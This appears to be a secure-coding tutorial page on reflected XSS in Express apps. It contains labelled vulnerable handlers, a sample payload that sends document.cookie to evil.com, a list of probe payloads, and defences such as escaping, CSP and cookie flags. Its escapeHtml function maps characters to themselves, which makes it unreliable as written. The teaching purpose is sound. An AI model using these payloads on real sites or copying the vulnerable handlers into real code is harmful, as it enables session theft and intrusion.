Reflected XSS
Reflected XSS happens when user input from a request (query string, form data, headers) is echoed straight into the response. The payload lives in the URL the attacker crafts; the victim clicks; the script runs.
Anatomy + defences
EXAMPLE
// 1) The classic vulnerability
// Vulnerable Express app — never write this
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Search results for: ${q}</h1>`); // q lands in HTML as-is
});
// Attacker crafts URL:
// https://example.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>
// Victim clicks → cookies sent to attacker.
// 2) Less obvious — input echoed in an attribute
app.get('/profile', (req, res) => {
const name = req.query.name;
res.send(`<input value="${name}">`);
});
// Payload: ?name=" onfocus=alert(1) x="
// Renders: <input value="" onfocus=alert(1) x="">
// 3) In a script context
app.get('/profile', (req, res) => {
const name = req.query.name;
res.send(`<script>const user = '${name}';</script>`);
});
// Payload: ?name='; alert(1); //
// Renders: <script>const user = ''; alert(1); //';</script>
// 4) In a URL
app.get('/redirect', (req, res) => {
const url = req.query.url;
res.send(`<a href="${url}">Continue</a>`);
});
// Payload: ?url=javascript:alert(1)
// === Defences ===
// 5) HTML body context — escape & < > " '
function escapeHtml(s) {
return String(s)
.replaceAll('&', '&')
.replaceAll('<', '<')
.replaceAll('>', '>')
.replaceAll('"', '"')
.replaceAll("'", ''');
}
app.get('/search', (req, res) => {
const q = String(req.query.q ?? '');
res.send(`<h1>Search results for: ${escapeHtml(q)}</h1>`);
});
// 6) Use framework templating — escapes by default
// EJS
// <h1>Search results for: <%= q %></h1> ← escapes
// <h1>Search results for: <%- q %></h1> ← UNESCAPED (dangerous)
// Pug
// h1 Search results for: #{q} ← escapes
// h1 Search results for: !{q} ← UNESCAPED
// Handlebars
// {{q}} ← escapes
// {{{q}}} ← UNESCAPED
// 7) React — escapes text content by default
function Search({ q }) {
return <h1>Search results for: {q}</h1>; // safe
}
// dangerouslySetInnerHTML bypasses safety — only use after sanitising with DOMPurify
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
// 8) Per-context encoding (see xss/context lesson)
// HTML body → escapeHtml
// HTML attribute → escapeHtml (in quoted attrs)
// JavaScript string → JSON.stringify (preferred), or JS-escape
// URL → encodeURIComponent for parts
// CSS → AVOID; allowlist only
// 9) Content Security Policy (CSP) — defence in depth
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
"img-src 'self' data: https:",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'none'",
].join('; '));
next();
});
// Even if the attacker injects a script tag, it has no valid nonce → browser refuses to execute.
// 10) Validate URLs — reject javascript: / data: / vbscript:
function safeHref(input) {
try {
const url = new URL(input, location.origin);
if (!['http:', 'https:', 'mailto:'].includes(url.protocol)) return '#';
return url.toString();
} catch {
return '#';
}
}
app.get('/redirect', (req, res) => {
const url = safeHref(req.query.url);
res.send(`<a href="${escapeHtml(url)}">Continue</a>`);
});
// 11) Open redirects — RX uses your trust to send users elsewhere
app.get('/login', (req, res) => {
const returnTo = req.query.return_to;
res.redirect(returnTo); // attacker controls destination → phishing
});
// Defence: allowlist of acceptable return URLs (relative path only, or known hosts)
const SAFE_RETURNS = /^\/(?!\/)[\w\-./]*$/;
app.get('/login', (req, res) => {
const r = req.query.return_to ?? '/';
if (!SAFE_RETURNS.test(r)) return res.redirect('/');
res.redirect(r);
});
// 12) Cookies — HttpOnly + Secure + SameSite
res.cookie('sid', sid, {
httpOnly: true, // JS can't read; mitigates cookie theft if XSS lands
secure: true,
sameSite: 'lax',
});
// 13) Headers that help
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('X-Frame-Options', 'DENY'); // legacy; CSP frame-ancestors is preferred
// === Testing for reflected XSS ===
// 14) Manual probes
// ?q=<script>alert(1)</script>
// ?q=<img src=x onerror=alert(1)>
// ?q=";alert(1);//
// ?q=javascript:alert(1)
// ?q=<svg onload=alert(1)>
// ?q=<iframe srcdoc="<script>alert(1)</script>">
// If any of these produce an alert, the field is vulnerable.
// 15) Automated tools
// - OWASP ZAP (Active Scan)
// - Burp Suite (Active Scanner + Intruder with XSS payloads)
// - Nuclei (community templates with XSS detection)
// - DOMinator (for DOM-based XSS)
// - Semgrep (static analysis for risky patterns)
// 16) CI / CD checks
// - ESLint plugins: react/no-danger, security/detect-non-literal-fs-filename
// - SAST: Semgrep with web rule packs
// - DAST: ZAP baseline scan against staging
// === Anti-patterns ===
// 17) Don't do these
// ❌ Just stripping <script> tags (countless bypasses)
// ❌ Trusting Content-Type — attackers can spoof
// ❌ Stripping spaces / unicode (incomplete)
// ❌ Client-side escaping only (can be bypassed by manipulating the URL)
// ❌ Server-side escaping only without CSP (one missed spot = XSS)
// ❌ Disabling browser XSS auditor / X-XSS-Protection — deprecated, use CSP
// === Anatomy of a real attack chain ===
// 1. Attacker finds reflected XSS in /search?q=...
// 2. Crafts URL with payload that steals session cookies via fetch()
// 3. Sends URL to victim via email / Slack / DM
// 4. Victim clicks; payload runs in victim's browser, sends cookies to attacker
// 5. Attacker uses cookies to impersonate victim
//
// Defences that would break this chain:
// • HTML escaping in /search → payload becomes text, doesn't execute
// • CSP with strict-dynamic + nonce → injected script can't run
// • HttpOnly session cookie → JS can't read it → cookie theft fails
// • SameSite=Lax → cookie not sent on cross-site request anyway
// • Mature security headers → multiple safety nets
// === Best practices ===
// ✅ Escape on output, per context
// ✅ Use framework templating defaults
// ✅ CSP with nonces + strict-dynamic
// ✅ HttpOnly, Secure, SameSite=Lax on session cookies
// ✅ Allowlist URLs for href / src / redirects
// ✅ Sanitise HTML with DOMPurify when you must accept rich text
// ✅ Pre-prod DAST scanning (ZAP, Burp)
// ✅ Static analysis (Semgrep, ESLint rules)
// ✅ Bug bounty / pen-testing as a safety net
Why it matters
Reflected XSS lives in URLs — the payload is in the request, the victim clicks the link, the script runs. Defence is per-context output encoding plus a strict CSP. Frameworks (React / Vue / Blade) escape by default; your job is not bypassing them.
Tip: Tweak the snippet with Try it Yourself », then sit the quiz at the bottom of the page.
Example
Example
// VULNERABLE
app.get('/search', (req, res) =>
res.send('<p>You searched: ' + req.query.q + '</p>'));
// SAFE — let the templating engine escape:
res.render('search', { q: req.query.q }); // EJS / Pug / Twig auto-escape by default
Try it Yourself »
Exercise
Library to escape a string for HTML insertion.
el.innerHTML =
(userInput);
camelCase.
Discussion
Loading…